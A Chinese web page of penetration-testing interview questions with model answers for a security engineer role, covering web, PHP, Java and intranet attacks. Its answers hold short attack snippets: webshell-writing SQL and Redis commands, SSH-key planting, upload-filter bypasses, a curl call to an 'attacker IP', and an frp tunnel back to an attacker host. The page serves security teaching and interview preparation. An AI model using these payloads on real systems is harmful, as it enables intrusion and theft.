当前位置: 首页 > article >正文

2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 匿名[校招]高级安全工程师(代码审计安全评估)

渗透基础

1. 自我介绍

2. SQL注入写Shell(分数据库)

3. 登录框攻击面

4. GetShell的姿势

5. 文件上传黑名单绕过

6. SQL注入后利用

7. 有趣漏洞案例

8. 蓝凌OA漏洞(示例)

9. DNS重绑定利用

10. PHP vs Java文件包含

11. Redis利用

PHP

1. 常见漏洞函数对照表

2. PHP安全特性

3. 代码审计(MVC/非MVC)

Java

1. 执行命令方式

2. 反序列化原理

3. YSO链示例(CommonsCollections)

4. Shiro反序列化漏洞

5. 反射/代理/类加载

6. 代码审计要点

Python

1. 非脚本工具开发

2. Web框架安全

3. 代码审计重点

漏洞挖掘

1. 漏洞利用研究理解

2. 漏洞利用案例(Fastjson)

内网渗透

1. Disable Function绕过

2. Webshell提权

3. 内网渗透思路

4. 无扫描横向技巧

5. 绕过杀软限制

6. 常用提权姿势

7. 内网代理(Frp)

 匿名[校招]高级安全工程师(代码审计安全评估)

#### **渗透基础**1. 自我介绍
2. SQL注入 写 Shell - mysql & mssql & oracle
3. 登录框攻击面
4. getshell的姿势
5. 文件上传点,黑名单限制,如何利用
6. SQL注入后利用
7. 讲一个你觉得有趣的漏洞案例
8. 前段时间蓝凌OA的洞
9. DNS 重绑定,利用
10. Php和Java的文件包含区别
11. Redis的利用#### PHP1. 常见漏洞对应函数(挨个问)- 命令执行- 代码执行- 文件包含- 文件上传- 文件删除- SSRF- ...
2. PHP安全特性有关注吗
3. 代码审计(mvc/非mvc)#### **Java**1. Java执行命令的几种方式
2. Java反序列化的原理
3. 讲讲yso的链
4. Shiro 反序列化原理
5. 反射,代理,类加载这些熟悉吗
6. 代码审计#### Python1. 是否写过非脚本的工具
2. Web框架(flask/django)
3. 代码审计#### **漏洞挖掘(重点关注)**1. 简历上的通用洞挨个问
2. 漏洞利用研究的理解
3. 漏洞利用研究的案例#### **内网(偏实战问题)**1. disable function bypass
2. webshell 提权(低权限 -> 高权限)
3. 已经拿到webshell,说说你的内网思路
4. 不允许扫描,如何横向
5. 存在杀软,不允许exe落地,怎么办
6. 常用的提权姿势
7. 内网代理,详细问了frp

渗透基础

1. 自我介绍
  • 核心逻辑:技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
    “专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。”
2. SQL注入写Shell(分数据库)
数据库方法适用条件
MySQLSELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'FILE权限,路径可写且已知
MSSQL启用xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp'
sysadmin权限,禁用防护组件
Oracle使用UTL_FILE包写文件:
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END;
UTL_FILE权限,已知可写目录
3. 登录框攻击面
  1. 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
  2. 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
  3. SQL注入:万能密码(' or 1=1-- )、盲注获取用户凭证。
  4. 2FA绕过:响应包修改"2fa_enabled":false
  5. OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
  1. 文件上传漏洞:绕过黑名单上传WebShell。
  2. RCE漏洞:Struts2/Log4j2等框架远程代码执行。
  3. 反序列化漏洞:Java/PHP反序列化链构造。
  4. SSRF转内网:攻击Redis/内网Jenkins写Shell。
  5. 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
  1. 扩展名绕过.pHp(大小写)、.php5(非标准后缀)。
  2. 双写绕过shell.pPHPphp(过滤替换后变为.php)。
  3. 特殊字符截断shell.php%00.jpg (旧版PHP版本)。
  4. Content-Type修改image/png伪装图片类型。
  5. .htaccess覆盖:上传.htaccess文件定义可执行后缀。
6. SQL注入后利用
  1. 数据窃取:拖库(用户表、密钥表)。
  2. 权限提升:读取数据库配置文件(获取高权限账号)。
  3. 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
  4. 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
  • 案例:某OA系统XML解析漏洞导致RCE。
    • 漏洞链:文件上传点限制后缀为.xml → 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。
    • 利用效果:通过XSLT的document()函数加载远程Java类,实现无文件WebShell。
8. 蓝凌OA漏洞(示例)
  • 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
  • 利用链:无需登录访问/sys/zone/LoginSSO.jsp → 反序列化参数触发BeanShell执行命令。
  • 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
  1. 原理:利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如127.0.0.1)。
  2. 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
  3. 工具:使用rbndr服务生成动态域名。
10. PHP vs Java文件包含
维度PHPJava
函数include/require(动态加载)ClassLoader(静态加载)
协议支持支持php://filterdata://等伪协议依赖类路径(ClassPath)或自定义协议处理
漏洞触发点包含用户可控参数(如?file=config.ini动态加载远程类(如URLClassLoader)
11. Redis利用
  1. 未授权访问:直接连接redis-cli -h 目标IP
  2. 写WebShellconfig set dir /var/www/htmlset x "<?php phpinfo();?>"save
  3. SSH密钥写入set x "\n\nssh-rsa AAA...\n\n"config set dir /root/.sshconfig set dbfilename authorized_keyssave
  4. 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。

PHP

1. 常见漏洞函数对照表
漏洞类型危险函数
命令执行system(), exec(), passthru(), shell_exec()
代码执行eval(), assert(), preg_replace(/e修饰符)
文件包含include, require, include_once(结合伪协议)
文件上传move_uploaded_file()(未校验后缀/内容)
文件删除unlink()(未校验权限)
SSRFfile_get_contents(), curl_exec()(未限制URL协议)
2. PHP安全特性
  • 魔术引号(已废弃):自动转义输入(magic_quotes_gpc),可通过stripslashes()绕过。
  • 禁用函数列表disable_functions需绕过(如LD_PRELOAD加载恶意so)。
  • open_basedir限制:通过chdir()ini_set()组合绕过。
3. 代码审计(MVC/非MVC)
  • 非MVC审计:直接追踪用户输入到危险函数(如$_GET['id']传入eval())。
  • MVC框架审计
    1. 路由解析:检查路由参数过滤(如/index.php/user/view/id/123 中的id注入)。
    2. 过滤器链:验证全局过滤是否遗漏(如未过滤$_FILES['file']['name'])。
    3. ORM层:SQL注入检测是否使用预编译(如直接拼接where条件)。

Java

1. 执行命令方式
  1. Runtime.execRuntime.getRuntime().exec("cmd /c whoami")
  2. ProcessBuildernew ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
  3. GroovyShellnew GroovyShell().evaluate("'calc'.execute()")(依赖Groovy库)。
2. 反序列化原理
  • 触发点:调用ObjectInputStream.readObject() 反序列化不可信数据。
  • Gadget链:通过嵌套调用链执行恶意操作(如AnnotationInvocationHandlerTransformedMapInvokerTransformer)。
3. YSO链示例(CommonsCollections)
  1. Transformer链构造ChainedTransformer串联多个Transformer。
  2. Map触发点LazyMap.get() 触发Transformer.transform()
  3. 入口类AnnotationInvocationHandler反序列化时触发Map操作。
4. Shiro反序列化漏洞
  • 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
  • 利用步骤
    1. 使用已知密钥加密恶意序列化数据。
    2. 发送CookierememberMe=加密数据触发反序列化。
5. 反射/代理/类加载
  • 反射Class.forName(" 恶意类").newInstance()绕过访问限制。
  • 动态代理Proxy.newProxyInstance() 拦截方法调用(如触发RCE)。
  • 类加载URLClassLoader加载远程Jar执行代码。
6. 代码审计要点
  1. 反序列化入口:搜索readObject()/readResolve()方法。
  2. 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
  3. SPEL表达式:检查@Value注解或StandardEvaluationContext使用。

Python

1. 非脚本工具开发
  • 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
  • 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
  • Flask SSTI{{ config.items() }}泄露敏感配置(需开启debug模式)。
  • Django ORM:正确使用参数化查询(filter(user=request.GET.get('user')) 防注入)。
3. 代码审计重点
  • 危险函数eval(), pickle.loads(), subprocess.run()
  • 模板注入:检查render_template_string(request.args.get('tmpl'))

漏洞挖掘

1. 漏洞利用研究理解
  • 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
  • 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
  • 漏洞点@type属性自动加载类(如com.sun.rowset.JdbcRowSetImpl )。
  • 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。

内网渗透

1. Disable Function绕过
  • LD_PRELOAD:编译恶意so文件,通过putenv()设置劫持函数调用。
  • PHP扩展:自定义扩展覆盖disable_functions限制。
2. Webshell提权
  • 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
  • 服务配置:查找SUID文件(find / -perm -u=s -type f 2>/dev/null)。
3. 内网渗透思路
  1. 信息收集:获取网卡信息(ipconfig)、ARP表、本地凭证。
  2. 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
  3. 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
  • 协议利用:利用SMB匿名访问(smbclient -L //目标IP)或RDP弱密码爆破。
  • 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
  • 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
  • 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
  1. 本地漏洞:Windows内核漏洞(如PrintNightmare)。
  2. 服务权限:MySQL以SYSTEM运行(UDF提权)。
  3. 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
  • 配置示例
    ini# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 
  • 使用:通过socks5://攻击者IP:1080代理内网流量。
http://www.lryc.cn/news/2393087.html

相关文章:

  • Jenkins实践(7):Publish over SSH功能
  • SQLite 中文写入失败问题总结
  • JavaScript篇:闭包:JavaScript中的魔法口袋,装下你的编程智慧
  • ubuntu系统安装Pyside6报错解决
  • DeepSeek 赋能智能零售:从数据洞察到商业革新
  • 榕壹云医疗服务系统:基于ThinkPHP+MySQL+UniApp的多门店医疗预约小程序解决方案
  • 苏州SAP代理公司排名:工业园区企业推荐的服务商
  • 数据结构中无向图的邻接矩阵详解
  • .NET 7 AOT 使用及 .NET 与 Go 语言互操作详解
  • OpenCV 第7课 图像处理之平滑(一)
  • React 编译器
  • HCIP:MPLS静态LSP的配置及抓包
  • VASP 教程:VASP 结合 Phonopy 计算硅的比热容
  • YOLO使用SAHI进行小目标检测
  • [论文阅读]Prompt Injection attack against LLM-integrated Applications
  • 【SpringCache 提供的一套基于注解的缓存抽象机制】
  • DALI DT6与DALI DT8介绍
  • day13 leetcode-hot100-24(链表3)
  • Python实战:打造高效通讯录管理系统
  • 图解深度学习 - 基于梯度的优化(梯度下降)
  • MySql--定义表存储引擎、字符集和排序规则
  • 【部署】在离线服务器的docker容器下升级dify-import程序
  • 优化版本,增加3D 视觉 查看前面的记录
  • 写作-- 复合句练习
  • WWW22-可解释推荐|用于推荐的神经符号描述性规则学习
  • Linux:shell脚本常用命令
  • 专业课复习笔记 11
  • OpenTelemetry × Elastic Observability 系列(一):整体架构介绍
  • STM32高级物联网通信之以太网通讯
  • 从Java的Jvm的角度解释一下为什么String不可变?